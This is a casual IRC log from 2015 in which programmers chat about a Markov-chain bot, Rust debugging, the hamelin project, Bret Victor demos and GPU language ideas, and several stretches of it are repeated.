[2015-03-07T20:54:42-0500] <+awe> I think it might be that creating directories fails on Unix if they already exist
[2015-03-07T20:54:44-0500] <+awe> erm
[2015-03-07T20:54:46-0500] <+awe> on Linux rather
[2015-03-07T20:54:51-0500] <+awe> but doesn't fail on other Unix systems.
[2015-03-07T21:00:38-0500] • awe: hopes he's right.
[2015-03-07T21:00:57-0500] <Hyper> awe: you should name her taytay
[2015-03-07T21:00:58-0500] <Hyper> pls
[2015-03-07T21:01:01-0500] <+awe> lol
[2015-03-07T21:01:08-0500] <Hyper> clearly you're not a *real* taytay fan
[2015-03-07T21:01:15-0500] <Hyper> pls
[2015-03-07T21:03:10-0500] <+awe> I could, but what would that do? I'm not running the bot anymore.
[2015-03-07T21:04:11-0500] <Hyper> awe: so I think I know what I'm gonna make
[2015-03-07T21:04:19-0500] <+awe> What're you going to make?
[2015-03-07T21:04:31-0500] <Hyper> I'm gonna use MCs to search for gifs and then caption them in amusing ways
[2015-03-07T21:04:45-0500] <+awe> Lol, ok.
[2015-03-07T21:04:45-0500] <Hyper> so you end up with a gif representing some nonsense :3
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[2015-03-07T21:04:56-0500] <Hyper> or it could just be a random string of 3 words from a book
[2015-03-07T21:05:45-0500] <Hyper> WAIT I KNOW
[2015-03-07T21:05:46-0500] <Hyper> OMG
[2015-03-07T21:05:50-0500] <Hyper> HOW DID I NOT THINK OF THIS
[2015-03-07T21:05:52-0500] • Hyper: disappears
[2015-03-07T21:05:57-0500] <+awe> There were some people near us at PennApps that were working on markov chain stuff.
[2015-03-07T21:06:00-0500] <+awe> Hyper: no, wait, what is it though?
[2015-03-07T21:06:09-0500] <Hyper> um
[2015-03-07T21:06:09-0500] <Hyper> um
[2015-03-07T21:06:14-0500] <Hyper> jaden smith tweet gifs
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[2015-03-07T21:16:53-0500] <+awe> lol
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[2015-03-07T21:17:29-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-07T20:49:16-0500] <JacobEdelman> lol
[2015-03-07T20:49:16-0500] <apothy> Wat
[2015-03-07T20:49:24-0500] <apothy> Who's Taylor?
[2015-03-07T20:49:28-0500] <+awe> Taylor Swift
[2015-03-07T20:49:33-0500] <apothy> Dang
[2015-03-07T20:49:40-0500] <apothy> How'd you get her here?
[2015-03-07T20:49:43-0500] <JacobEdelman> its a markov chain
[2015-03-07T20:49:46-0500] <JacobEdelman> using hamelin
[2015-03-07T20:49:48-0500] <+awe> Indeed.
[2015-03-07T20:49:53-0500] <+awe> ./target/http 127.0.0.1 4000 ../markov/target/markgen ../markov/tswift_1989
[2015-03-07T20:49:55-0500] <+awe> erm
[2015-03-07T20:49:57-0500] <+awe> ./target/irc other.json ../markov/target/markgen ../markov/jabberwocky -n 5
[2015-03-07T20:50:03-0500] <apothy> Nah, that doesn't seem believable.
[2015-03-07T20:50:11-0500] <JacobEdelman> lol
[2015-03-07T20:50:12-0500] <apothy> It's probably TSwizzle.
[2015-03-07T20:50:56-0500] <JacobEdelman> yeah
[2015-03-07T20:51:29-0500] <+awe> wat.
[2015-03-07T20:51:34-0500] <+awe> thread 'data::channel::test::exists' panicked at 'called `Result::unwrap()` on an `Err` value: Error { repr: Os(17) }'
[2015-03-07T20:51:42-0500] <+awe> Error #17 on unix is file already exists.
[2015-03-07T20:51:52-0500] <+awe> What code did I write? CHECKING IF THE FILE EXISTS
[2015-03-07T20:53:51-0500] <JacobEdelman> what did you do
[2015-03-07T20:54:07-0500] <+awe> I have no idea.
[2015-03-07T20:54:27-0500] <+awe> I have an idea though.
[2015-03-07T20:54:42-0500] <+awe> I think it might be that creating directories fails on Unix if they already exist
[2015-03-07T20:54:43-0500] <+awe> erm
[2015-03-07T20:54:45-0500] <+awe> on Linux rather
[2015-03-07T20:54:51-0500] <+awe> but doesn't fail on other Unix systems.
[2015-03-07T21:00:38-0500] • awe: hopes he's right.
[2015-03-07T21:00:56-0500] <Hyper> awe: you should name her taytay
[2015-03-07T21:00:58-0500] <Hyper> pls
[2015-03-07T21:01:00-0500] <+awe> lol
[2015-03-07T21:01:07-0500] <Hyper> clearly you're not a *real* taytay fan
[2015-03-07T21:01:14-0500] <Hyper> pls
[2015-03-07T21:03:09-0500] <+awe> I could, but what would that do? I'm not running the bot anymore.
[2015-03-07T21:04:10-0500] <Hyper> awe: so I think I know what I'm gonna make
[2015-03-07T21:04:18-0500] <+awe> What're you going to make?
[2015-03-07T21:04:31-0500] <Hyper> I'm gonna use MCs to search for gifs and then caption them in amusing ways
[2015-03-07T21:04:44-0500] <+awe> Lol, ok.
[2015-03-07T21:04:44-0500] <Hyper> so you end up with a gif representing some nonsense :3
[2015-03-07T21:04:55-0500] <Hyper> or it could just be a random string of 3 words from a book
[2015-03-07T21:05:44-0500] <Hyper> WAIT I KNOW
[2015-03-07T21:05:45-0500] <Hyper> OMG
[2015-03-07T21:05:49-0500] <Hyper> HOW DID I NOT THINK OF THIS
[2015-03-07T21:05:51-0500] • Hyper: disappears
[2015-03-07T21:05:56-0500] <+awe> There were some people near us at PennApps that were working on markov chain stuff.
[2015-03-07T21:05:59-0500] <+awe> Hyper: no, wait, what is it though?
[2015-03-07T21:06:08-0500] <Hyper> um
[2015-03-07T21:06:09-0500] <Hyper> um
[2015-03-07T21:06:14-0500] <Hyper> jaden smith tweet gifs
[2015-03-07T21:16:52-0500] <+awe> lol
[2015-03-07T21:17:29-0500] Mode is +nt
[2015-03-07T21:22:13-0500] <+awe> So, it's been a month since the professor last emailed me about the research stuff (and since I asked for specifics and told him I'd like to do it)
[2015-03-07T21:22:28-0500] <+awe> He takes about a month to respond to emails.
[2015-03-07T21:22:54-0500] <+awe> First email I sent was November 27th. First response was December 27th. Next response was February 7th.
[2015-03-07T21:30:17-0500] <LittleBobbyTables> so
[2015-03-07T21:30:23-0500] <LittleBobbyTables> I got the github bundle
[2015-03-07T21:30:24-0500] <LittleBobbyTables> finally
[2015-03-07T21:32:31-0500] <JacobEdelman> awe: wow
[2015-03-07T21:32:33-0500] <JacobEdelman> LittleBobbyTables: nice
[2015-03-07T21:32:51-0500] <+awe> I really hope I get my next email soon lol
[2015-03-07T21:42:49-0500] <apothy> awe: I'm willing to respond on his behalf.
[2015-03-07T21:43:42-0500] <JacobEdelman> I'm playinga super hero/Moby-dick  rpg
[2015-03-07T21:44:03-0500] <JacobEdelman> Nobody in it has read Moby-dick
[2015-03-07T21:46:48-0500] <+awe> apothy: That's not helpful.
[2015-03-07T21:50:40-0500] <apothy> :(
[2015-03-07T21:51:05-0500] <Hyper> JacobEdelman: that's... an interesting concept for a game
[2015-03-07T21:53:39-0500] <JacobEdelman> :P
[2015-03-07T21:53:55-0500] <JacobEdelman> It's a short RPG, minimal setup
[2015-03-07T21:54:03-0500] <JacobEdelman> No long-term plot
[2015-03-07T21:54:55-0500] <JacobEdelman> oh wait, they are leaving to early
[2015-03-07T21:55:00-0500] <JacobEdelman> game postponed
[2015-03-07T21:55:01-0500] <JacobEdelman> me sad
[2015-03-07T22:05:55-0500] <+awe> Hyper: Alex Crichton, one of the Rust devs, has days where he makes over 100 commits.
[2015-03-07T22:06:18-0500] <Hyper> nice
[2015-03-07T22:06:58-0500] <hardmath123> What's the signal-to-noise ratio on those commits, though?
[2015-03-07T22:07:39-0500] <hardmath123> Are they like "inserted semicolon", "removed blank line", etc. or does each one actually create a new feature?
[2015-03-07T22:08:25-0500] <+awe> They're mostly substantial.
[2015-03-07T22:08:35-0500] <+awe> He's a really productive dude and it's his job.
[2015-03-07T22:08:40-0500] <+awe> So, he spends all day working on Rust.
[2015-03-07T22:09:14-0500] <hardmath123> Oh.
[2015-03-07T22:32:28-0500] <Hyper> I could do a lot more if I were working on projects that I *really* gave a shit about and had a lot to do
[2015-03-07T22:33:28-0500] <+awe> Same.
[2015-03-07T22:33:35-0500] <+awe> I never have ideas though.
[2015-03-07T22:33:39-0500] <Hyper> mmm
[2015-03-07T22:33:55-0500] <Hyper> awe: perhaps we could never have ideas together on the great D-Rust interop peace mission
[2015-03-07T22:34:12-0500] <+awe> You should learn Rust. :p
[2015-03-07T22:34:18-0500] <+awe> You'd like it.
[2015-03-07T22:34:20-0500] <Hyper> also I just got a twillio shirt \o/
[2015-03-07T22:34:24-0500] <Hyper> awe: it's on my list
[2015-03-07T22:34:30-0500] <Hyper> about 3 down
[2015-03-07T22:34:38-0500] <+awe> What's above it?
[2015-03-07T22:34:44-0500] <Hyper> PHP (bleh) and Idris
[2015-03-07T22:35:21-0500] <+awe> Why PHP/
[2015-03-07T22:35:23-0500] <+awe> ?*
[2015-03-07T22:35:32-0500] <Hyper> because I'm being paid to work on a php codebase and I like money.
[2015-03-07T22:35:36-0500] <Hyper> :)
[2015-03-07T22:35:53-0500] <+awe> Fair enough.
[2015-03-07T22:35:58-0500] <+awe> Learning PHP takes like five minutes though.
[2015-03-07T22:36:20-0500] <Hyper> yeah it's more learning laravel and being decent enough with it that I feel confident saying my skills are worth $
[2015-03-07T22:38:47-0500] <+awe> My skills are always worth $$$.
[2015-03-07T22:40:56-0500] <Hyper> awe: are they, though?
[2015-03-07T22:41:01-0500] <Hyper> ARE THEY?
[2015-03-07T22:41:14-0500] <+awe> Yes.
[2015-03-07T22:41:21-0500] <Hyper> oh man my voice just totally died I can't speak at all it hurts
[2015-03-07T22:41:22-0500] <Hyper> whyyy
[2015-03-07T22:47:16-0500] <+awe> That's rough.
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[2015-03-07T23:06:53-0500] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-07T21:30:23-0500] <LittleBobbyTables> finally
[2015-03-07T21:32:30-0500] <JacobEdelman> awe: wow
[2015-03-07T21:32:32-0500] <JacobEdelman> LittleBobbyTables: nice
[2015-03-07T21:32:50-0500] <+awe> I really hope I get my next email soon lol
[2015-03-07T21:42:48-0500] <apothy> awe: I'm willing to respond on his behalf.
[2015-03-07T21:43:41-0500] <JacobEdelman> I'm playinga super hero/Moby-dick  rpg
[2015-03-07T21:44:02-0500] <JacobEdelman> Nobody in it has read Moby-dick
[2015-03-07T21:46:47-0500] <+awe> apothy: That's not helpful.
[2015-03-07T21:50:39-0500] <apothy> :(
[2015-03-07T21:51:04-0500] <Hyper> JacobEdelman: that's... an interesting concept for a game
[2015-03-07T21:53:39-0500] <JacobEdelman> :P
[2015-03-07T21:53:55-0500] <JacobEdelman> It's a short RPG, minimal setup
[2015-03-07T21:54:02-0500] <JacobEdelman> No long-term plot
[2015-03-07T21:54:54-0500] <JacobEdelman> oh wait, they are leaving to early
[2015-03-07T21:54:59-0500] <JacobEdelman> game postponed
[2015-03-07T21:55:00-0500] <JacobEdelman> me sad
[2015-03-07T22:05:54-0500] <+awe> Hyper: Alex Crichton, one of the Rust devs, has days where he makes over 100 commits.
[2015-03-07T22:06:17-0500] <Hyper> nice
[2015-03-07T22:06:57-0500] <hardmath123> What's the signal-to-noise ratio on those commits, though?
[2015-03-07T22:07:38-0500] <hardmath123> Are they like "inserted semicolon", "removed blank line", etc. or does each one actually create a new feature?
[2015-03-07T22:08:25-0500] <+awe> They're mostly substantial.
[2015-03-07T22:08:34-0500] <+awe> He's a really productive dude and it's his job.
[2015-03-07T22:08:39-0500] <+awe> So, he spends all day working on Rust.
[2015-03-07T22:09:13-0500] <hardmath123> Oh.
[2015-03-07T22:32:27-0500] <Hyper> I could do a lot more if I were working on projects that I *really* gave a shit about and had a lot to do
[2015-03-07T22:33:27-0500] <+awe> Same.
[2015-03-07T22:33:35-0500] <+awe> I never have ideas though.
[2015-03-07T22:33:38-0500] <Hyper> mmm
[2015-03-07T22:33:54-0500] <Hyper> awe: perhaps we could never have ideas together on the great D-Rust interop peace mission
[2015-03-07T22:34:12-0500] <+awe> You should learn Rust. :p
[2015-03-07T22:34:17-0500] <+awe> You'd like it.
[2015-03-07T22:34:19-0500] <Hyper> also I just got a twillio shirt \o/
[2015-03-07T22:34:23-0500] <Hyper> awe: it's on my list
[2015-03-07T22:34:29-0500] <Hyper> about 3 down
[2015-03-07T22:34:37-0500] <+awe> What's above it?
[2015-03-07T22:34:44-0500] <Hyper> PHP (bleh) and Idris
[2015-03-07T22:35:20-0500] <+awe> Why PHP/
[2015-03-07T22:35:22-0500] <+awe> ?*
[2015-03-07T22:35:31-0500] <Hyper> because I'm being paid to work on a php codebase and I like money.
[2015-03-07T22:35:35-0500] <Hyper> :)
[2015-03-07T22:35:53-0500] <+awe> Fair enough.
[2015-03-07T22:35:57-0500] <+awe> Learning PHP takes like five minutes though.
[2015-03-07T22:36:19-0500] <Hyper> yeah it's more learning laravel and being decent enough with it that I feel confident saying my skills are worth $
[2015-03-07T22:38:46-0500] <+awe> My skills are always worth $$$.
[2015-03-07T22:40:55-0500] <Hyper> awe: are they, though?
[2015-03-07T22:41:00-0500] <Hyper> ARE THEY?
[2015-03-07T22:41:14-0500] <+awe> Yes.
[2015-03-07T22:41:20-0500] <Hyper> oh man my voice just totally died I can't speak at all it hurts
[2015-03-07T22:41:21-0500] <Hyper> whyyy
[2015-03-07T22:47:15-0500] <+awe> That's rough.
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[2015-03-07T21:30:23-0500] <LittleBobbyTables> finally
[2015-03-07T21:32:30-0500] <JacobEdelman> awe: wow
[2015-03-07T21:32:32-0500] <JacobEdelman> LittleBobbyTables: nice
[2015-03-07T21:32:50-0500] <+awe> I really hope I get my next email soon lol
[2015-03-07T21:42:48-0500] <apothy> awe: I'm willing to respond on his behalf.
[2015-03-07T21:43:41-0500] <JacobEdelman> I'm playinga super hero/Moby-dick  rpg
[2015-03-07T21:44:02-0500] <JacobEdelman> Nobody in it has read Moby-dick
[2015-03-07T21:46:47-0500] <+awe> apothy: That's not helpful.
[2015-03-07T21:50:39-0500] <apothy> :(
[2015-03-07T21:51:04-0500] <Hyper> JacobEdelman: that's... an interesting concept for a game
[2015-03-07T21:53:39-0500] <JacobEdelman> :P
[2015-03-07T21:53:55-0500] <JacobEdelman> It's a short RPG, minimal setup
[2015-03-07T21:54:02-0500] <JacobEdelman> No long-term plot
[2015-03-07T21:54:54-0500] <JacobEdelman> oh wait, they are leaving to early
[2015-03-07T21:54:59-0500] <JacobEdelman> game postponed
[2015-03-07T21:55:00-0500] <JacobEdelman> me sad
[2015-03-07T22:05:54-0500] <+awe> Hyper: Alex Crichton, one of the Rust devs, has days where he makes over 100 commits.
[2015-03-07T22:06:17-0500] <Hyper> nice
[2015-03-07T22:06:57-0500] <hardmath123> What's the signal-to-noise ratio on those commits, though?
[2015-03-07T22:07:38-0500] <hardmath123> Are they like "inserted semicolon", "removed blank line", etc. or does each one actually create a new feature?
[2015-03-07T22:08:25-0500] <+awe> They're mostly substantial.
[2015-03-07T22:08:34-0500] <+awe> He's a really productive dude and it's his job.
[2015-03-07T22:08:39-0500] <+awe> So, he spends all day working on Rust.
[2015-03-07T22:09:13-0500] <hardmath123> Oh.
[2015-03-07T22:32:27-0500] <Hyper> I could do a lot more if I were working on projects that I *really* gave a shit about and had a lot to do
[2015-03-07T22:33:27-0500] <+awe> Same.
[2015-03-07T22:33:35-0500] <+awe> I never have ideas though.
[2015-03-07T22:33:38-0500] <Hyper> mmm
[2015-03-07T22:33:54-0500] <Hyper> awe: perhaps we could never have ideas together on the great D-Rust interop peace mission
[2015-03-07T22:34:12-0500] <+awe> You should learn Rust. :p
[2015-03-07T22:34:17-0500] <+awe> You'd like it.
[2015-03-07T22:34:19-0500] <Hyper> also I just got a twillio shirt \o/
[2015-03-07T22:34:23-0500] <Hyper> awe: it's on my list
[2015-03-07T22:34:29-0500] <Hyper> about 3 down
[2015-03-07T22:34:37-0500] <+awe> What's above it?
[2015-03-07T22:34:44-0500] <Hyper> PHP (bleh) and Idris
[2015-03-07T22:35:20-0500] <+awe> Why PHP/
[2015-03-07T22:35:22-0500] <+awe> ?*
[2015-03-07T22:35:31-0500] <Hyper> because I'm being paid to work on a php codebase and I like money.
[2015-03-07T22:35:35-0500] <Hyper> :)
[2015-03-07T22:35:53-0500] <+awe> Fair enough.
[2015-03-07T22:35:57-0500] <+awe> Learning PHP takes like five minutes though.
[2015-03-07T22:36:19-0500] <Hyper> yeah it's more learning laravel and being decent enough with it that I feel confident saying my skills are worth $
[2015-03-07T22:38:46-0500] <+awe> My skills are always worth $$$.
[2015-03-07T22:40:55-0500] <Hyper> awe: are they, though?
[2015-03-07T22:41:00-0500] <Hyper> ARE THEY?
[2015-03-07T22:41:14-0500] <+awe> Yes.
[2015-03-07T22:41:20-0500] <Hyper> oh man my voice just totally died I can't speak at all it hurts
[2015-03-07T22:41:21-0500] <Hyper> whyyy
[2015-03-07T22:47:15-0500] <+awe> That's rough.
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[2015-03-07T23:38:17-0500] <+awe> So, Juicy J performed at my school today.
[2015-03-07T23:38:30-0500] <+awe> He threw $5,000 cash and four pairs of Jordans, including the ones he was wearing, into the crowd.
[2015-03-07T23:46:39-0500] <Hyper> wat
[2015-03-07T23:47:04-0500] <LittleBobbyTables> I'm jealous
[2015-03-07T23:47:13-0500] <nezorg> who's juicy j
[2015-03-07T23:47:19-0500] <LittleBobbyTables> One of the best dj's
[2015-03-07T23:47:33-0500] <nezorg> huh
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[2015-03-07T23:48:55-0500] <LittleBobbyTables> for raves
[2015-03-08T00:09:27-0500] <nezorg> http://smbc-comics.com/index.php?id=2961 lol
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[2015-03-08T00:48:24-0500] <LittleBobbyTables> https://www.youtube.com/watch?v=5OiTjNB3Xeo
[2015-03-08T03:16:29-0400] <ubuntor> greetings from the future!
[2015-03-08T03:16:36-0400] <ubuntor> did everyone make it safely?
[2015-03-08T03:17:01-0400] <nezorg> I'm stuck in the past!
[2015-03-08T03:19:44-0400] <ubuntor> oh no, someone get a time rope!
[2015-03-08T03:20:45-0400] <hardmath123> You guys are 4 hours ahead of us instead of 3.
[2015-03-08T03:20:49-0400] <hardmath123> How is it in the future?
[2015-03-08T03:21:17-0400] <ubuntor> i see flying cars outside the window
[2015-03-08T03:30:29-0400] <LittleBobbyTables> Say no to tabs
[2015-03-08T03:30:34-0400] <LittleBobbyTables> Unless you have amazing friends
[2015-03-08T03:30:36-0400] <LittleBobbyTables> Then it's ok.
[2015-03-08T04:11:03-0400] <ubuntor> huh, geohot's rapping is pretty good
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[2015-03-08T12:28:16-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-07T22:08:34-0500] <+awe> He's a really productive dude and it's his job.
[2015-03-07T22:08:39-0500] <+awe> So, he spends all day working on Rust.
[2015-03-07T22:09:13-0500] <hardmath123> Oh.
[2015-03-07T22:32:27-0500] <Hyper> I could do a lot more if I were working on projects that I *really* gave a shit about and had a lot to do
[2015-03-07T22:33:27-0500] <+awe> Same.
[2015-03-07T22:33:35-0500] <+awe> I never have ideas though.
[2015-03-07T22:33:38-0500] <Hyper> mmm
[2015-03-07T22:33:54-0500] <Hyper> awe: perhaps we could never have ideas together on the great D-Rust interop peace mission
[2015-03-07T22:34:12-0500] <+awe> You should learn Rust. :p
[2015-03-07T22:34:17-0500] <+awe> You'd like it.
[2015-03-07T22:34:19-0500] <Hyper> also I just got a twillio shirt \o/
[2015-03-07T22:34:23-0500] <Hyper> awe: it's on my list
[2015-03-07T22:34:29-0500] <Hyper> about 3 down
[2015-03-07T22:34:37-0500] <+awe> What's above it?
[2015-03-07T22:34:44-0500] <Hyper> PHP (bleh) and Idris
[2015-03-07T22:35:20-0500] <+awe> Why PHP/
[2015-03-07T22:35:22-0500] <+awe> ?*
[2015-03-07T22:35:31-0500] <Hyper> because I'm being paid to work on a php codebase and I like money.
[2015-03-07T22:35:35-0500] <Hyper> :)
[2015-03-07T22:35:53-0500] <+awe> Fair enough.
[2015-03-07T22:35:57-0500] <+awe> Learning PHP takes like five minutes though.
[2015-03-07T22:36:19-0500] <Hyper> yeah it's more learning laravel and being decent enough with it that I feel confident saying my skills are worth $
[2015-03-07T22:38:46-0500] <+awe> My skills are always worth $$$.
[2015-03-07T22:40:55-0500] <Hyper> awe: are they, though?
[2015-03-07T22:41:00-0500] <Hyper> ARE THEY?
[2015-03-07T22:41:14-0500] <+awe> Yes.
[2015-03-07T22:41:20-0500] <Hyper> oh man my voice just totally died I can't speak at all it hurts
[2015-03-07T22:41:21-0500] <Hyper> whyyy
[2015-03-07T22:47:15-0500] <+awe> That's rough.
[2015-03-07T23:38:15-0500] <+awe> So, Juicy J performed at my school today.
[2015-03-07T23:38:29-0500] <+awe> He threw $5,000 cash and four pairs of Jordans, including the ones he was wearing, into the crowd.
[2015-03-07T23:46:37-0500] <Hyper> wat
[2015-03-07T23:47:02-0500] <LittleBobbyTables> I'm jealous
[2015-03-07T23:47:12-0500] <nezorg> who's juicy j
[2015-03-07T23:47:17-0500] <LittleBobbyTables> One of the best dj's
[2015-03-07T23:47:32-0500] <nezorg> huh
[2015-03-07T23:48:53-0500] <LittleBobbyTables> for raves
[2015-03-08T00:09:25-0500] <nezorg> http://smbc-comics.com/index.php?id=2961 lol
[2015-03-08T00:48:22-0500] <LittleBobbyTables> https://www.youtube.com/watch?v=5OiTjNB3Xeo
[2015-03-08T03:16:29-0400] <ubuntor> greetings from the future!
[2015-03-08T03:16:36-0400] <ubuntor> did everyone make it safely?
[2015-03-08T03:17:01-0400] <nezorg> I'm stuck in the past!
[2015-03-08T03:19:44-0400] <ubuntor> oh no, someone get a time rope!
[2015-03-08T03:20:45-0400] <hardmath123> You guys are 4 hours ahead of us instead of 3.
[2015-03-08T03:20:49-0400] <hardmath123> How is it in the future?
[2015-03-08T03:21:17-0400] <ubuntor> i see flying cars outside the window
[2015-03-08T03:30:29-0400] <LittleBobbyTables> Say no to tabs
[2015-03-08T03:30:34-0400] <LittleBobbyTables> Unless you have amazing friends
[2015-03-08T03:30:36-0400] <LittleBobbyTables> Then it's ok.
[2015-03-08T04:11:03-0400] <ubuntor> huh, geohot's rapping is pretty good
[2015-03-08T12:28:18-0400] Mode is +nt
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[2015-03-08T12:34:35-0400] <+awe> nezorg: Juicy J is a rapper.
[2015-03-08T12:48:55-0400] <+awe> https://github.com/ryanmjacobs/c
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[2015-03-08T12:51:29-0400] <failedxyz> hei
[2015-03-08T12:52:43-0400] <hardmath123> awe: wait isn't that just "gcc $1; ./a.out" ?
[2015-03-08T12:52:59-0400] <+awe> Vaguely, but it's automatic, does caching, etc.
[2015-03-08T12:53:18-0400] <hardmath123> still
[2015-03-08T12:53:25-0400] <hardmath123> this shouldn't be so popular
[2015-03-08T12:53:42-0400] <+awe> People like things like that.
[2015-03-08T12:54:13-0400] <failedxyz> ?
[2015-03-08T12:54:18-0400] <failedxyz> what are we talking about
[2015-03-08T12:54:22-0400] <hardmath123> failedxyz: https://github.com/ryanmjacobs/c
[2015-03-08T12:54:50-0400] <hardmath123> i also like how the examples and tests significantly outweigh the actual source to the point where i couldn't find it for a few moments
[2015-03-08T12:54:52-0400] <hardmath123> yikes.
[2015-03-08T12:54:58-0400] <failedxyz> wait
[2015-03-08T12:55:05-0400] <failedxyz> isn't this really easy to do
[2015-03-08T12:55:31-0400] <failedxyz> what's the purpose of downloading this just so you can reduce two operations to one
[2015-03-08T12:55:34-0400] <hardmath123> "implement caching"
[2015-03-08T12:55:43-0400] <+awe> Ease-of-use, mostly.
[2015-03-08T12:55:52-0400] <hardmath123> butbutbut makefile
[2015-03-08T12:55:53-0400] <failedxyz> when you run it
[2015-03-08T12:55:55-0400] <+awe> You can just throw a shebang on a C file.
[2015-03-08T12:55:57-0400] <hardmath123> "make"
[2015-03-08T12:56:01-0400] <failedxyz> does it still output an a.out
[2015-03-08T12:56:08-0400] <failedxyz> or does it just compile, run, then remove
[2015-03-08T12:56:09-0400] <+awe> No, it puts it in a cache folder in /tmp
[2015-03-08T12:56:24-0400] <failedxyz> what's the point of cache if you're going to be modifying the file
[2015-03-08T12:56:27-0400] <failedxyz> the source
[2015-03-08T12:56:35-0400] <+awe> Moving files around and stuff.
[2015-03-08T12:56:51-0400] <+awe> running it multiple times
[2015-03-08T12:56:56-0400] <+awe> etc.
[2015-03-08T12:57:18-0400] <+awe> I'm surprised you're both so opposed to this given that you write languages where this is normal behavior.
[2015-03-08T12:57:21-0400] <hardmath123> http://opencv.org/opencv-for-secret-agents-2.html << everything listed here sounds sooooo awweeesoommeee
[2015-03-08T12:57:42-0400] <+awe> "Create a search engine that finds images of real estate and classifies these images as “luxury” or “Stalinist”, based on color histogram analysis." lol'd
[2015-03-08T12:57:52-0400] <failedxyz> what
[2015-03-08T12:59:34-0400] <failedxyz> wait
[2015-03-08T12:59:39-0400] <failedxyz> there was a programming competition here?
[2015-03-08T12:59:40-0400] <failedxyz> :o
[2015-03-08T13:00:39-0400] <+awe> Only Jacob participated.
[2015-03-08T13:01:07-0400] <hardmath123> And he *still* tied for first.
[2015-03-08T13:01:11-0400] <failedxyz> LOL
[2015-03-08T13:06:11-0400] <hardmath123> gah hamelin = netcat + socat + IRC + a Rust implementation
[2015-03-08T13:07:52-0400] <+awe> hardmath123: ?
[2015-03-08T13:08:00-0400] <Tamini> loool
[2015-03-08T13:08:03-0400] <Tamini> who tied him?
[2015-03-08T13:10:48-0400] <hardmath123> awe: netcat/ncat -l [--ssl?] is basically hamelin-net, socat is hamelin-readline &c.
[2015-03-08T13:11:16-0400] <+awe> Mhm.
[2015-03-08T13:11:18-0400] <hardmath123> awe: i feel i'm trying to standardize something that already exists in various forms.
[2015-03-08T13:11:26-0400] <+awe> That's true.
[2015-03-08T13:11:37-0400] <hardmath123> which isn't really worth it, because those implementations certainly aren't going to change
[2015-03-08T13:11:49-0400] • awe: shrug.
[2015-03-08T13:11:53-0400] <hardmath123> (net|so)cat are also not line-buffered.
[2015-03-08T13:11:53-0400] <+awe> I worked on it because it was fun.
[2015-03-08T13:12:13-0400] <hardmath123> meh
[2015-03-08T13:12:18-0400] • hardmath123: finds a new project to work on.
[2015-03-08T13:12:26-0400] <+awe> I need to find new stuff to work on.
[2015-03-08T13:12:48-0400] <hardmath123> i wanna read all of bret victor's work and then make a bret victorey demo
[2015-03-08T13:13:14-0400] <hardmath123> i was pretty darn inspired by that fourier transform thing i showed you
[2015-03-08T13:18:43-0400] <hardmath123> https://github.com/Hardmath123/hamelin/tree/master/hamelin-c in case anyone wants to take over where i left off
[2015-03-08T13:25:07-0400] <+awe> hardmath123: what now?
[2015-03-08T13:25:18-0400] <JacobEdelman> symbolic execution looks fun
[2015-03-08T13:26:02-0400] <hardmath123> awe: ?
[2015-03-08T13:27:12-0400] <JacobEdelman> I think he meant what are you working on now
[2015-03-08T13:30:20-0400] <+awe> Yeah.
[2015-03-08T13:30:27-0400] <+awe> hardmath123: feed me fun ideas
[2015-03-08T13:31:10-0400] <hardmath123> awe: if you're interested in bret victorey philosophy-of-pedagogical-design stuff, we can collab on a project like that. it'll be more motivating for me :P
[2015-03-08T13:31:36-0400] <+awe> I don't know anything about it.
[2015-03-08T13:31:48-0400] <hardmath123> awe: the fourier thing that impressed me was http://jackschaedler.github.io/circles-sines-signals/
[2015-03-08T13:31:59-0400] <hardmath123> awe: brett victor is the Learnable Programming guy (http://worrydream.com/#!/LearnableProgramming)
[2015-03-08T13:32:28-0400] <hardmath123> i'm looking for his famous talk
[2015-03-08T13:32:53-0400] <hardmath123> awe: https://vimeo.com/36579366
[2015-03-08T13:35:07-0400] <+awe> Can I background this?
[2015-03-08T13:35:11-0400] <+awe> Or do I need to look at it?
[2015-03-08T13:35:40-0400] <hardmath123> Just fast-forward to the demos and look at those.
[2015-03-08T13:35:44-0400] <hardmath123> Like, the tree demo.
[2015-03-08T13:35:57-0400] <hardmath123> Then you can background it.
[2015-03-08T13:41:53-0400] <+awe> Wow.
[2015-03-08T13:41:55-0400] <+awe> That's cool.
[2015-03-08T13:42:31-0400] <+awe> I don't see how you could do anything like this with anything that isn't like this one example.
[2015-03-08T13:43:38-0400] <hardmath123> well, i was going to try and make a tutorial for gas laws
[2015-03-08T13:44:02-0400] <hardmath123> so make everything interactive by having an actual demo running beside the text, where all parameters can be adjusted
[2015-03-08T13:44:58-0400] <+awe> Interesting.
[2015-03-08T13:45:03-0400] <hardmath123> and so the text interacts with the demo bidirectionally
[2015-03-08T13:45:27-0400] <hardmath123> (if there's a number in the text, it'll get auto-updated if you, for example, slide something to change the volume of the container)
[2015-03-08T13:48:24-0400] <+awe> hardmath123: the slider stuff with the platformer is neat.
[2015-03-08T13:49:58-0400] <hardmath123> Ikr? http://worrydream.com/#!2/LadderOfAbstraction is also pretty sweet.
[2015-03-08T13:51:05-0400] <+awe> HOLY HELL
[2015-03-08T13:51:12-0400] <+awe> He turned it into VVVVVV in like four seconds.
[2015-03-08T13:51:44-0400] <hardmath123> VVVVVV?
[2015-03-08T13:51:46-0400] <+awe> Which actually isn't that hard, but is cool to see.
[2015-03-08T13:51:53-0400] <+awe> It's a game where you can't jump, you can only flip gravity.
[2015-03-08T13:51:54-0400] <failedxyz> ?
[2015-03-08T13:52:02-0400] <hardmath123> oh yeah
[2015-03-08T14:09:10-0400] <+awe> hardmath123: the animation stuff is really neat, but it's also very imprecise.
[2015-03-08T14:11:40-0400] <JacobEdelman> Hmmmm...I want to make a high level GPU programming language
[2015-03-08T14:15:33-0400] <micrictor>  yes plz
[2015-03-08T14:16:32-0400] <micrictor> i'd love to see more use of gpu for high computation low memory stuff
[2015-03-08T14:17:14-0400] <+awe> micrictor: Jacob doesn't know anything about hardware.
[2015-03-08T14:17:31-0400] <+awe> micrictor: You don't want him to write anything related to it.
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[2015-03-08T14:20:38-0400] <hardmath123> JacobEdelman: don't gpu programs need to be primitive recursive?
[2015-03-08T14:20:49-0400] <hardmath123> or whatever the word is for things that can't loop indefinitely?
[2015-03-08T14:21:06-0400] <+awe> deterministic?
[2015-03-08T14:21:32-0400] <+awe> Well, that they end deterministically.
[2015-03-08T14:22:52-0400] <hardmath123> but also deterministic number of computations
[2015-03-08T14:22:54-0400] <hardmath123> i think
